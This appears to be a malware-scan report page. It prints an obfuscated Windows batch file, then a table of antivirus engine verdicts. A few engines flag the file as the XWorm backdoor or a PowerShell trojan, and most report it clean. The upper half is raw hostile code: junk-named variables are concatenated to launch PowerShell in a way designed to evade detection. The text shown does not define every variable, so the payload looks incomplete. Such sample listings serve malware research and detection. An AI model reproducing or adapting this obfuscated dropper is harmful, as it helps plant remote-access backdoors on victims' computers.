!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "JmFeuESErCLWiZGSLgYYdHwdcbDOBQcLnFIuqnFg="%systemdrive%\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "
%JmFeuESErCLWiZGSLgYYdHwdcbDOBQcLnFIuqnFg%%pYBQSeiBuQRNCRsbevevLritVbsuJwKeOxetwPdM%%MJQXszINNBJIEUwXQhVQMNRXgMZfNYEprrIcAlbw%%tEHiNbzTagCoUmaZRSQFzCaOWtqnmtxFgyxhgJke%%mfeGwpvfrIlHuvWQDSmtKmHGJXivOSTiILtuytsG%%YkVDiPlLCHDnwQuZyxXzharzPcZIcCskAGvzrdyT%%LwTgoFLRrtVavSyYTwOfQDJZptNQvUIvZeNLgkkj%%riqIHrOHhxGUpsdiNTRUSVvwKzbrfNRImEOHmasX%%FfIYoOgGaFXntpqvMUYhpwCuGXIKEvWNBTpNmxhV%%tvqAPDpWosUsblIiDosqgwbFIkMzaDjpMcNUgcEc%%IMvlAELplgjXfQPXtLRFRPVLjFFZxOcBJpIuaQee%%ywoTtlkVnPAukZkTQKbVYMSweInPivXCHMgvAbrX%%vKMHnHqKeODpOigLERPKXuMRSXNySPtPseAnakjw%%sDKuRHOyGvQIlHZaXUPqTSSovOWKISLtItsuJsak%%jpRxYKDLezpguSCzLvZcKdPNJxZSoFqFTFgEavpK%%llFjCEZPQSJotYzfAeNBKKxyjJnPLYzqfoRzxGkf%%xjbwWcmVfbdWHOZANhaTrjdStsiehZHUTHeAIaCg%%xrKKUCIroqLqGrNnfjdDUhOfujcZJzRNETvZztXQ%%KQQQnqoBUQuyXYmpDEqKzIHPyYLMWNNMlmSerXRd%%VBfTesPGHgwVdnqcibsoEBFgcInLgiYFMmOYCOKf%%jffPrSJYWQVqFCyuVZRvfeAzhQiQyrztqmfzvPPj%%ZoOpmHajOudDXpZfFGIAJSzEqBasxZYfjHwRpkmz%%PZbeoWwbnZTPhoAgOkZKHIMPvYtqShQvtiKKQvqu%%fZeygjXVgpdfkCShnmJpCgifjxvZEQptTFFIDnJm%%ayjCeLkRpDwEMaR
!SXVDIzZENLyxocaQciBfNwyZGpMYXKEIxzESMMDtSVPSydOvFqkTHXVwzVXtNaGdhQZPyhdpFinSGFACAqsHzKazEitQPjFRoMKIdZXymVoyKdPTuuTwIZExPAlpOmAvDwDUVSzAsTuEvCPBszvuqiiohmSDNHKZuTVnzVYBVsdOEZbnKKXoQgeunoMIaVNLjvjCGBbxBTyXetKilFSdKvioOBakipBZFsEjQzGiIzMXHhpU! "DRjsReiENrCPhcQCctbedBzaJDrmByARpmeETKjz=exit /b"
%DRjsReiENrCPhcQCctbedBzaJDrmByARpmeETKjz%
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
CTX Clean
CAT-QuickHeal Clean
Skyhigh Clean
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Clean
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Clean
Symantec Clean
ESET-NOD32 Clean
TrendMicro-HouseCall Backdoor.BAT.XWORM.YXFBJZ
Avast Clean
Cynet Clean
Kaspersky HEUR:Trojan.PowerShell.Agent.gen
BitDefender Clean
NANO-Antivirus Clean
ViRobot Clean
MicroWorld-eScan Clean
Tencent Clean
Sophos Clean
F-Secure Clean
DrWeb Clean
VIPRE Clean
TrendMicro Backdoor.BAT.XWORM.YXFBJZ
CMC Clean
Emsisoft Clean
huorong Clean
FireEye Clean
Jiangmin Clean
Varist Clean
Avira Clean
Fortinet Clean
Antiy-AVL Clean
Kingsoft Win32.Troj.Undef.a
Gridinsoft Clean
Xcitium Clean
Arcabit Clean
SUPERAntiSpyware Clean
Microsoft Trojan:Script/Wacatac.B!ml
Google Clean
AhnLab-V3 Clean
Acronis Clean
McAfee Clean
TACHYON Clean
VBA32 Clean
Zoner Clean
Rising Clean
Yandex Clean
Ikarus Clean
MaxSecure Clean
GData Clean
AVG Clean
Panda Clean
alibabacloud Clean
No IRMA results available.